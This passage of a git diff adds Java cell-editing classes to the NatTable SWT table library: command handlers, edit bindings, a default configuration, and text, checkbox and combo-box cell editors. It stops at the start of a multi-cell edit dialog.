a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditSelectionCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditSelectionCommandHandler.java new file mode 100644 index 0000000..04b248a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditSelectionCommandHandler.java @@ -0,0 +1,29 @@ +package net.sourceforge.nattable.edit.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.edit.MultiCellEditController; +import net.sourceforge.nattable.selection.SelectionLayer; + +import org.eclipse.swt.widgets.Composite; + +public class EditSelectionCommandHandler extends AbstractLayerCommandHandler { + + private SelectionLayer selectionLayer; + + public EditSelectionCommandHandler(SelectionLayer selectionLayer) { + this.selectionLayer = selectionLayer; + } + + public Class getCommandClass() { + return EditSelectionCommand.class; + } + + public boolean doCommand(EditSelectionCommand command) { + Composite parent = command.getParent(); + IConfigRegistry configRegistry = command.getConfigRegistry(); + Character initialValue = command.getCharacter(); + + return MultiCellEditController.editSelectedCells(selectionLayer, initialValue, parent, configRegistry); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditUtils.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditUtils.java new file mode 100644 index 0000000..3b5f1b2 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/EditUtils.java @@ -0,0 +1,56 @@ +package net.sourceforge.nattable.edit.command; + +import java.util.List; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.config.IEditableRule; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.edit.EditConfigAttributes; +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.style.DisplayMode; + +public class EditUtils { + + public static LayerCell getLastSelectedCell(SelectionLayer selectionLayer) { + PositionCoordinate selectionAnchor = selectionLayer.getSelectionAnchor(); + return selectionLayer.getCellByPosition(selectionAnchor.columnPosition, selectionAnchor.rowPosition); + } + + public static ICellEditor lastSelectedCellEditor(SelectionLayer selectionLayer, IConfigRegistry configRegistry) { + final List lastSelectedCellLabelsArray = EditUtils.getLastSelectedCell(selectionLayer).getConfigLabels().getLabels(); + return configRegistry.getConfigAttribute(EditConfigAttributes.CELL_EDITOR, DisplayMode.EDIT, lastSelectedCellLabelsArray); + } + + public static boolean allCellsEditable(SelectionLayer selectionLayer, IConfigRegistry configRegistry) { + PositionCoordinate[] selectedCells = selectionLayer.getSelectedCells(); + for (PositionCoordinate cell : selectedCells) { + LabelStack labelStack = selectionLayer.getConfigLabelsByPosition(cell.columnPosition, cell.rowPosition); + IEditableRule editableRule = configRegistry.getConfigAttribute(EditConfigAttributes.CELL_EDITABLE_RULE, DisplayMode.EDIT, labelStack.getLabels()); + int columnIndex = selectionLayer.getColumnIndexByPosition(cell.columnPosition); + int rowIndex = selectionLayer.getRowIndexByPosition(cell.rowPosition); + + if (!editableRule.isEditable(columnIndex, rowIndex)) { + return false; + } + } + return true; + } + + public static boolean isEditorSame(SelectionLayer selectionLayer, IConfigRegistry configRegistry, ICellEditor lastSelectedCellEditor) { + PositionCoordinate[] selectedCells = selectionLayer.getSelectedCells(); + + boolean isAllSelectedCellsHaveSameEditor = true; + for (PositionCoordinate selectedCell : selectedCells) { + LabelStack labelStack = selectionLayer.getConfigLabelsByPosition(selectedCell.columnPosition, selectedCell.rowPosition); + ICellEditor cellEditor = configRegistry.getConfigAttribute(EditConfigAttributes.CELL_EDITOR, DisplayMode.EDIT, labelStack.getLabels()); + if (cellEditor != lastSelectedCellEditor) { + isAllSelectedCellsHaveSameEditor = false; + } + } + return isAllSelectedCellsHaveSameEditor; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/UpdateDataCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/UpdateDataCommand.java new file mode 100644 index 0000000..f7d0add --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/UpdateDataCommand.java @@ -0,0 +1,35 @@ +package net.sourceforge.nattable.edit.command; + +import net.sourceforge.nattable.command.AbstractPositionCommand; +import net.sourceforge.nattable.layer.ILayer; + +public class UpdateDataCommand extends AbstractPositionCommand { + + private Object newValue; + + public UpdateDataCommand(ILayer layer, int columnPosition, int rowPosition, Object newValue) { + super(layer, columnPosition, rowPosition); + this.newValue = newValue; + } + + protected UpdateDataCommand(UpdateDataCommand command) { + super(command); + this.newValue = command.newValue; + } + + public Object getNewValue() { +// if (newValue instanceof String) { +// String value = (String)newValue; +// value = value.replaceAll("&", "&"); +// value = value.replaceAll("<", "<"); +// value = value.replaceAll(">", ">"); +// this.newValue = value; +// } + return newValue; + } + + public UpdateDataCommand cloneCommand() { + return new UpdateDataCommand(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/UpdateDataCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/UpdateDataCommandHandler.java new file mode 100644 index 0000000..9e66bfe --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/command/UpdateDataCommandHandler.java @@ -0,0 +1,34 @@ +package net.sourceforge.nattable.edit.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.layer.event.CellVisualChangeEvent; + +public class UpdateDataCommandHandler extends AbstractLayerCommandHandler { + + private final DataLayer dataLayer; + + public UpdateDataCommandHandler(DataLayer dataLayer) { + this.dataLayer = dataLayer; + } + + public Class getCommandClass() { + return UpdateDataCommand.class; + } + + @Override + protected boolean doCommand(UpdateDataCommand command) { + try { + int columnPosition = command.getColumnPosition(); + int rowPosition = command.getRowPosition(); + dataLayer.getDataProvider().setDataValue(columnPosition, rowPosition, command.getNewValue()); + dataLayer.fireLayerEvent(new CellVisualChangeEvent(dataLayer, columnPosition, rowPosition)); + return true; + } catch (UnsupportedOperationException e) { + e.printStackTrace(System.err); + System.err.println("Failed to update value to: "+command.getNewValue()); + return false; + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/config/DefaultEditBindings.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/config/DefaultEditBindings.java new file mode 100644 index 0000000..79784c0 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/config/DefaultEditBindings.java @@ -0,0 +1,48 @@ +package net.sourceforge.nattable.edit.config; + +import net.sourceforge.nattable.config.AbstractUiBindingConfiguration; +import net.sourceforge.nattable.edit.action.CellEditDragMode; +import net.sourceforge.nattable.edit.action.KeyEditAction; +import net.sourceforge.nattable.edit.action.MouseEditAction; +import net.sourceforge.nattable.edit.editor.CheckBoxCellEditor; +import net.sourceforge.nattable.edit.editor.ComboBoxCellEditor; +import net.sourceforge.nattable.edit.editor.TextCellEditor; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.BodyCellEditorMouseEventMatcher; +import net.sourceforge.nattable.ui.matcher.KeyEventMatcher; +import net.sourceforge.nattable.ui.matcher.LetterOrDigitKeyEventMatcher; + +import org.eclipse.swt.SWT; + +public class DefaultEditBindings extends AbstractUiBindingConfiguration { + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.F2), new KeyEditAction()); + uiBindingRegistry.registerKeyBinding(new LetterOrDigitKeyEventMatcher(), new KeyEditAction()); + + uiBindingRegistry.registerFirstSingleClickBinding( + new BodyCellEditorMouseEventMatcher(TextCellEditor.class), + new MouseEditAction()); + + uiBindingRegistry.registerFirstMouseDragMode( + new BodyCellEditorMouseEventMatcher(TextCellEditor.class), + new CellEditDragMode()); + + uiBindingRegistry.registerFirstSingleClickBinding( + new BodyCellEditorMouseEventMatcher(CheckBoxCellEditor.class), + new MouseEditAction()); + + uiBindingRegistry.registerFirstMouseDragMode( + new BodyCellEditorMouseEventMatcher(CheckBoxCellEditor.class), + new CellEditDragMode()); + + uiBindingRegistry.registerFirstSingleClickBinding( + new BodyCellEditorMouseEventMatcher(ComboBoxCellEditor.class), + new MouseEditAction()); + + uiBindingRegistry.registerFirstMouseDragMode( + new BodyCellEditorMouseEventMatcher(ComboBoxCellEditor.class), + new CellEditDragMode()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/config/DefaultEditConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/config/DefaultEditConfiguration.java new file mode 100644 index 0000000..b419074 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/config/DefaultEditConfiguration.java @@ -0,0 +1,28 @@ +package net.sourceforge.nattable.edit.config; + +import net.sourceforge.nattable.config.AbstractLayerConfiguration; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.config.IEditableRule; +import net.sourceforge.nattable.data.validate.DefaultDataValidator; +import net.sourceforge.nattable.edit.EditConfigAttributes; +import net.sourceforge.nattable.edit.command.EditCellCommandHandler; +import net.sourceforge.nattable.edit.editor.TextCellEditor; +import net.sourceforge.nattable.edit.event.InlineCellEditEventHandler; +import net.sourceforge.nattable.grid.layer.GridLayer; + +public class DefaultEditConfiguration extends AbstractLayerConfiguration { + + @Override + public void configureTypedLayer(GridLayer gridLayer) { + gridLayer.registerCommandHandler(new EditCellCommandHandler()); + gridLayer.registerEventHandler(new InlineCellEditEventHandler(gridLayer)); + } + + @Override + public void configureRegistry(IConfigRegistry configRegistry) { + configRegistry.registerConfigAttribute(EditConfigAttributes.CELL_EDITABLE_RULE, IEditableRule.NEVER_EDITABLE); + configRegistry.registerConfigAttribute(EditConfigAttributes.CELL_EDITOR, new TextCellEditor()); + configRegistry.registerConfigAttribute(EditConfigAttributes.DATA_VALIDATOR, new DefaultDataValidator()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/AbstractCellEditor.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/AbstractCellEditor.java new file mode 100644 index 0000000..df70a1f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/AbstractCellEditor.java @@ -0,0 +1,93 @@ +package net.sourceforge.nattable.edit.editor; + +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.data.validate.IDataValidator; +import net.sourceforge.nattable.edit.ICellEditHandler; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.style.IStyle; + +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; + +public abstract class AbstractCellEditor implements ICellEditor { + + private boolean closed; + private Composite parent; + private ICellEditHandler editHandler; + private IDisplayConverter displayConverter; + private IStyle cellStyle; + private IDataValidator dataValidator; + private int columnIndex; + private int rowIndex; + + public final Control activateCell(Composite parent, Object originalCanonicalValue, Character initialEditValue, + IDisplayConverter displayConverter, IStyle cellStyle, IDataValidator dataValidator, + ICellEditHandler editHandler, int columnIndex, int rowIndex) { + + this.closed = false; + this.parent = parent; + this.editHandler = editHandler; + this.displayConverter = displayConverter; + this.cellStyle = cellStyle; + this.dataValidator = dataValidator; + this.columnIndex = columnIndex; + this.rowIndex = rowIndex; + + return activateCell(parent, originalCanonicalValue, initialEditValue); + } + + protected abstract Control activateCell(Composite parent, Object originalCanonicalValue, Character initialEditValue); + + protected boolean validateCanonicalValue() { + if (dataValidator != null) { + return dataValidator.validate(columnIndex, rowIndex, getCanonicalValue()); + } else { + return true; + } + } + + protected IDisplayConverter getDataTypeConverter() { + return displayConverter; + } + + protected IStyle getCellStyle() { + return cellStyle; + } + + protected IDataValidator getDataValidator() { + return dataValidator; + } + + /** + * Commit and close editor. + * @see AbstractCellEditor#commit(MoveDirectionEnum, boolean) + */ + protected final boolean commit(MoveDirectionEnum direction) { + return commit(direction, true); + } + + /** + * Commit change - after validation. + * @param direction to move the selection in after a successful commit + * @param closeAfterCommit close the editor after a successful commit + */ + protected final boolean commit(MoveDirectionEnum direction, boolean closeAfterCommit) { + if (editHandler != null) { + if (validateCanonicalValue()) { + return (editHandler.commit(direction, closeAfterCommit)); + } + } + return false; + } + + public void close() { + if (parent != null && !parent.isDisposed()) { + parent.forceFocus(); + } + closed = true; + } + + public boolean isClosed() { + return closed; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/CheckBoxCellEditor.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/CheckBoxCellEditor.java new file mode 100644 index 0000000..0165236 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/CheckBoxCellEditor.java @@ -0,0 +1,87 @@ +package net.sourceforge.nattable.edit.editor; + +import net.sourceforge.nattable.painter.cell.CheckBoxPainter; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.MouseAdapter; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.PaintEvent; +import org.eclipse.swt.events.PaintListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Canvas; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; + +public class CheckBoxCellEditor extends AbstractCellEditor { + + private boolean checked; + private Canvas canvas; + private final CheckBoxPainter checkBoxCellPainter; + + public CheckBoxCellEditor() { + this.checkBoxCellPainter = new CheckBoxPainter(); + } + + public CheckBoxCellEditor(Image checkedImg, Image uncheckedImg) { + this.checkBoxCellPainter = new CheckBoxPainter(checkedImg, uncheckedImg); + } + + /** + * As soon as the editor is activated, flip the current data value and commit it.
    + * The repaint will pick up the new value and flip the image. + */ + @Override + protected Control activateCell(Composite parent, Object originalCanonicalValue, Character initialEditValue) { + setCanonicalValue(originalCanonicalValue); + + checked = !checked; + + canvas = new Canvas(parent, SWT.NONE); + + canvas.addPaintListener(new PaintListener() { + public void paintControl(PaintEvent paintEvent) { + Rectangle bounds = canvas.getBounds(); + Rectangle rect = new Rectangle(0, 0, bounds.width, bounds.height); + checkBoxCellPainter.paintIconImage(paintEvent.gc, rect, bounds.height / 2 - checkBoxCellPainter.getPreferredHeight(checked) / 2, checked); + } + + }); + + canvas.addMouseListener(new MouseAdapter() { + @Override + public void mouseUp(MouseEvent e) { + checked = !checked; + canvas.redraw(); + } + + }); + + commit(MoveDirectionEnum.NONE, false); + + return canvas; + } + + public Object getCanonicalValue() { + return getDataTypeConverter().displayToCanonicalValue(Boolean.valueOf(checked)); + } + + public void setCanonicalValue(Object canonicalValue) { + if (canonicalValue == null) { + checked = false; + } else { + checked = Boolean.valueOf((String) getDataTypeConverter().canonicalToDisplayValue(canonicalValue)).booleanValue(); + } + } + + @Override + public void close() { + super.close(); + + if (canvas != null && !canvas.isDisposed()) { + canvas.dispose(); + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/ComboBoxCellEditor.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/ComboBoxCellEditor.java new file mode 100644 index 0000000..26a52be --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/ComboBoxCellEditor.java @@ -0,0 +1,147 @@ +package net.sourceforge.nattable.edit.editor; + +import java.util.ArrayList; +import java.util.List; + +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.util.ArrayUtil; +import net.sourceforge.nattable.widget.NatCombo; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.KeyAdapter; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.MouseAdapter; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.TraverseEvent; +import org.eclipse.swt.events.TraverseListener; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; + +/** + * Renders an SWT combo box. + * Users can select from the drop down or enter their own values. + */ +public class ComboBoxCellEditor extends AbstractCellEditor { + + private NatCombo combo; + + private int maxVisibleItems = 10; + private Object originalCanonicalValue; + private final List canonicalValues; + + /** + * @see this{@link #ComboBoxCellEditor(List, int)} + */ + public ComboBoxCellEditor(List canonicalValues){ + this(canonicalValues, NatCombo.DEFAULT_NUM_OF_VISIBLE_ITEMS); + } + + /** + * @see this{@link #ComboBoxCellEditor(List, int)} + */ + public ComboBoxCellEditor(IComboBoxDataProvider dataProvider){ + this(dataProvider.getValues(), NatCombo.DEFAULT_NUM_OF_VISIBLE_ITEMS); + } + + /** + * @param canonicalValues Array of items to be shown in the drop down box. These will be + * converted using the {@link IDisplayConverter} for display purposes + * @param maxVisibleItems the max items the drop down will show before introducing a scroll bar. + */ + public ComboBoxCellEditor(List canonicalValues, int maxVisibleItems) { + this.canonicalValues = canonicalValues; + this.maxVisibleItems = maxVisibleItems; + } + + @Override + protected Control activateCell(Composite parent, Object originalCanonicalValue, Character initialEditValue) { + this.originalCanonicalValue = originalCanonicalValue; + + combo = new NatCombo(parent, getCellStyle(), maxVisibleItems); + + combo.setItems(getDisplayValues()); + + if (originalCanonicalValue != null) { + combo.setSelection(new String[] { getDisplayValue() }); + } + + combo.addKeyListener(new KeyAdapter() { + + @Override + public void keyPressed(KeyEvent event) { + if ((event.keyCode == SWT.CR && event.stateMask == 0) + || (event.keyCode == SWT.KEYPAD_CR && event.stateMask == 0)) { + commit(MoveDirectionEnum.NONE); + } else if (event.keyCode == SWT.ESC && event.stateMask == 0){ + close(); + } + } + + }); + + combo.addTraverseListener(new TraverseListener() { + + public void keyTraversed(TraverseEvent event) { + if (event.keyCode == SWT.TAB && event.stateMask == SWT.SHIFT) { + commit(MoveDirectionEnum.LEFT); + } else if (event.keyCode == SWT.TAB && event.stateMask == 0) { + commit(MoveDirectionEnum.RIGHT); + } + } + + }); + + combo.addMouseListener(new MouseAdapter() { + @Override + public void mouseDown(MouseEvent e) { + commit(MoveDirectionEnum.NONE); + } + }); + + return combo; + } + + public Object getCanonicalValue() { + int selectionIndex = combo.getSelectionIndex(); + + //Item selected from list + if (selectionIndex >= 0) { + return canonicalValues.get(selectionIndex); + } else { + return originalCanonicalValue; + } + } + + public void select(int index){ + combo.select(index); + } + + public void setCanonicalValue(Object value) { + //No op - combo is not dynamic + } + + @Override + public void close() { + super.close(); + + if (combo != null && !combo.isDisposed()) { + combo.dispose(); + } + } + + private String getDisplayValue() { + return (String) getDataTypeConverter().canonicalToDisplayValue(originalCanonicalValue); + } + + private String[] getDisplayValues() { + List displayValues = new ArrayList(); + + for (Object canonicalValue : canonicalValues) { + displayValues.add((String) getDataTypeConverter().canonicalToDisplayValue(canonicalValue)); + } + + return displayValues.toArray(ArrayUtil.STRING_TYPE_ARRAY); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/EditorSelectionEnum.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/EditorSelectionEnum.java new file mode 100644 index 0000000..cb4982f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/EditorSelectionEnum.java @@ -0,0 +1,9 @@ +package net.sourceforge.nattable.edit.editor; + +public enum EditorSelectionEnum { + + ALL, + START, + END + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/ICellEditor.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/ICellEditor.java new file mode 100644 index 0000000..023ab09 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/ICellEditor.java @@ -0,0 +1,50 @@ +package net.sourceforge.nattable.edit.editor; + +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.data.validate.IDataValidator; +import net.sourceforge.nattable.edit.ICellEditHandler; +import net.sourceforge.nattable.style.IStyle; + +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; + +/** + * Implementations are responsible for capturing new cell value during cell edit. + */ +public interface ICellEditor { + + /** + * Invoked by the action handlers to initialize the editor + * @param parent + * @param originalCanonicalValue of the cell being edited + * @param initialEditValue the initial key press char which triggered editing + * @return the SWT {@link Control} to be used for capturing the new cell value + */ + public Control activateCell( + Composite parent, + Object originalCanonicalValue, + Character initialEditValue, + IDisplayConverter displayConverter, + IStyle cellStyle, + IDataValidator dataValidator, + ICellEditHandler editHandler, + int colIndex, + int rowIndex + ); + + /** + * @param canonicalValue the data value to be set in the backing bean. + * Note: This should be converted using the {@link IDisplayConverter} for display. + */ + public void setCanonicalValue(Object canonicalValue); + + public Object getCanonicalValue(); + + /** + * Close/dispose the contained {@link Control} + */ + public void close(); + + public boolean isClosed(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/IComboBoxDataProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/IComboBoxDataProvider.java new file mode 100644 index 0000000..b2f5ed0 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/IComboBoxDataProvider.java @@ -0,0 +1,14 @@ +package net.sourceforge.nattable.edit.editor; + +import java.util.List; + +import net.sourceforge.nattable.data.convert.IDisplayConverter; + +public interface IComboBoxDataProvider { + + /** + * List of values to used as a data source in a {@link ComboBoxCellEditor}. + * Note: these will be converted using the {@link IDisplayConverter} for display + */ + public List getValues(); +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/TextCellEditor.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/TextCellEditor.java new file mode 100644 index 0000000..061d854 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/editor/TextCellEditor.java @@ -0,0 +1,147 @@ +package net.sourceforge.nattable.edit.editor; + +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.HorizontalAlignmentEnum; +import net.sourceforge.nattable.style.IStyle; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.KeyAdapter; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.TraverseEvent; +import org.eclipse.swt.events.TraverseListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Text; + +public class TextCellEditor extends AbstractCellEditor { + + private EditorSelectionEnum selectionMode = EditorSelectionEnum.ALL; + + private Text text = null; + private boolean editable = true; + + public boolean isEditable() { + return editable; + } + + public void setEditable(boolean editable) { + this.editable = editable; + } + + public final void setSelectionMode(EditorSelectionEnum selectionMode) { + this.selectionMode = selectionMode; + } + + public final EditorSelectionEnum getSelectionMode() { + return selectionMode; + } + + @Override + protected Control activateCell(final Composite parent, Object originalCanonicalValue, Character initialEditValue) { + text = createTextControl(parent); + + // If we have an initial value, then + if (initialEditValue != null) { + selectionMode = EditorSelectionEnum.END; + text.setText(initialEditValue.toString()); + selectText(); + } else { + setCanonicalValue(originalCanonicalValue); + } + + if (!isEditable()) { + text.setEditable(false); + } + + text.addKeyListener(new KeyAdapter() { + + @Override + public void keyPressed(KeyEvent event) { + if ((event.keyCode == SWT.CR && event.stateMask == 0) + || (event.keyCode == SWT.KEYPAD_CR && event.stateMask == 0)) { + commit(MoveDirectionEnum.NONE); + } + else if (event.keyCode == SWT.ESC && event.stateMask == 0){ + close(); + } + } + }); + + text.addTraverseListener(new TraverseListener() { + + public void keyTraversed(TraverseEvent event) { + boolean committed = false; + if (event.keyCode == SWT.TAB && event.stateMask == SWT.SHIFT) { + committed = commit(MoveDirectionEnum.LEFT); + } else if (event.keyCode == SWT.TAB && event.stateMask == 0) { + committed = commit(MoveDirectionEnum.RIGHT); + } + if (!committed) { + event.doit = false; + } + } + + }); + + text.forceFocus(); + + return text; + } + + private void selectText() { + int textLength = text.getText().length(); + if (textLength > 0) { + EditorSelectionEnum selectionMode = getSelectionMode(); + if (selectionMode == EditorSelectionEnum.ALL) { + text.setSelection(0, textLength); + } else if (selectionMode == EditorSelectionEnum.END) { + text.setSelection(textLength, textLength); + } + } + } + + protected Text createTextControl(Composite parent) { + IStyle cellStyle = getCellStyle(); + final Text textControl = new Text(parent, HorizontalAlignmentEnum.getSWTStyle(cellStyle)); + textControl.setBackground(cellStyle.getAttributeValue(CellStyleAttributes.BACKGROUND_COLOR)); + textControl.setForeground(cellStyle.getAttributeValue(CellStyleAttributes.FOREGROUND_COLOR)); + textControl.setFont(cellStyle.getAttributeValue(CellStyleAttributes.FONT)); + + textControl.addKeyListener(new KeyAdapter() { + private final Color originalColor = textControl.getForeground(); + @Override + public void keyReleased(KeyEvent e) { + if (!validateCanonicalValue()) { + textControl.setForeground(GUIHelper.COLOR_RED); + } else { + textControl.setForeground(originalColor); + } + }; + }); + + return textControl; + } + + public Object getCanonicalValue() { + return getDataTypeConverter().displayToCanonicalValue(text.getText()); + } + + public void setCanonicalValue(Object canonicalValue) { + String displayValue = (String) getDataTypeConverter().canonicalToDisplayValue(canonicalValue); + text.setText(displayValue != null && displayValue.length() > 0 ? displayValue.toString() : ""); + selectText(); + } + + @Override + public void close() { + super.close(); + + if (text != null && !text.isDisposed()) { + text.dispose(); + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/event/InlineCellEditEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/event/InlineCellEditEvent.java new file mode 100644 index 0000000..51f0c7b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/event/InlineCellEditEvent.java @@ -0,0 +1,65 @@ +package net.sourceforge.nattable.edit.event; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.event.ILayerEvent; + +import org.eclipse.swt.widgets.Composite; + +public class InlineCellEditEvent implements ILayerEvent { + + private final PositionCoordinate cellCoordinate; + private ILayer layer; + private final Composite parent; + private final IConfigRegistry configRegistry; + private final Character initialValue; + + public InlineCellEditEvent(ILayer layer, PositionCoordinate cellCoordinate, Composite parent, IConfigRegistry configRegistry, Character initialValue) { + this.layer = layer; + this.cellCoordinate = cellCoordinate; + this.parent = parent; + this.configRegistry = configRegistry; + this.initialValue = initialValue; + } + + public boolean convertToLocal(ILayer localLayer) { + cellCoordinate.columnPosition = localLayer.underlyingToLocalColumnPosition(layer, cellCoordinate.columnPosition); + if (cellCoordinate.columnPosition < 0 || cellCoordinate.columnPosition >= localLayer.getColumnCount()) { + return false; + } + + cellCoordinate.rowPosition = localLayer.underlyingToLocalRowPosition(layer, cellCoordinate.rowPosition); + if (cellCoordinate.rowPosition < 0 || cellCoordinate.rowPosition >= localLayer.getRowCount()) { + return false; + } + + this.layer = localLayer; + return true; + } + + public int getColumnPosition() { + return cellCoordinate.columnPosition; + } + + public int getRowPosition() { + return cellCoordinate.rowPosition; + } + + public Composite getParent() { + return parent; + } + + public IConfigRegistry getConfigRegistry() { + return configRegistry; + } + + public Character getInitialValue() { + return initialValue; + } + + public InlineCellEditEvent cloneEvent() { + return new InlineCellEditEvent(layer, cellCoordinate, parent, configRegistry, initialValue); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/event/InlineCellEditEventHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/event/InlineCellEditEventHandler.java new file mode 100644 index 0000000..7a93425 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/event/InlineCellEditEventHandler.java @@ -0,0 +1,26 @@ +package net.sourceforge.nattable.edit.event; + +import net.sourceforge.nattable.edit.InlineCellEditController; +import net.sourceforge.nattable.grid.layer.GridLayer; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.layer.event.ILayerEventHandler; + +public class InlineCellEditEventHandler implements ILayerEventHandler { + + private final GridLayer gridLayer; + + public InlineCellEditEventHandler(GridLayer gridLayer) { + this.gridLayer = gridLayer; + } + + public Class getLayerEventClass() { + return InlineCellEditEvent.class; + } + + public void handleLayerEvent(InlineCellEditEvent event) { + if (event.convertToLocal(gridLayer)) { + LayerCell cell = gridLayer.getCellByPosition(event.getColumnPosition(), event.getRowPosition()); + InlineCellEditController.editCellInline(cell, event.getInitialValue(), event.getParent(), event.getConfigRegistry()); + } + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/gui/MultiCellEditDialog.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/gui/MultiCellEditDialog.java new file mode 100644 index 0000000..1d67c43 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/edit/gui/MultiCellEditDialog.java @@ -0,0 +1,188 @@ +package net.sourceforge.nattable.edit.gui; + +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.data.validate.IDataValidator; +import net.sourceforge.nattable.edit.ActiveCellEditor; 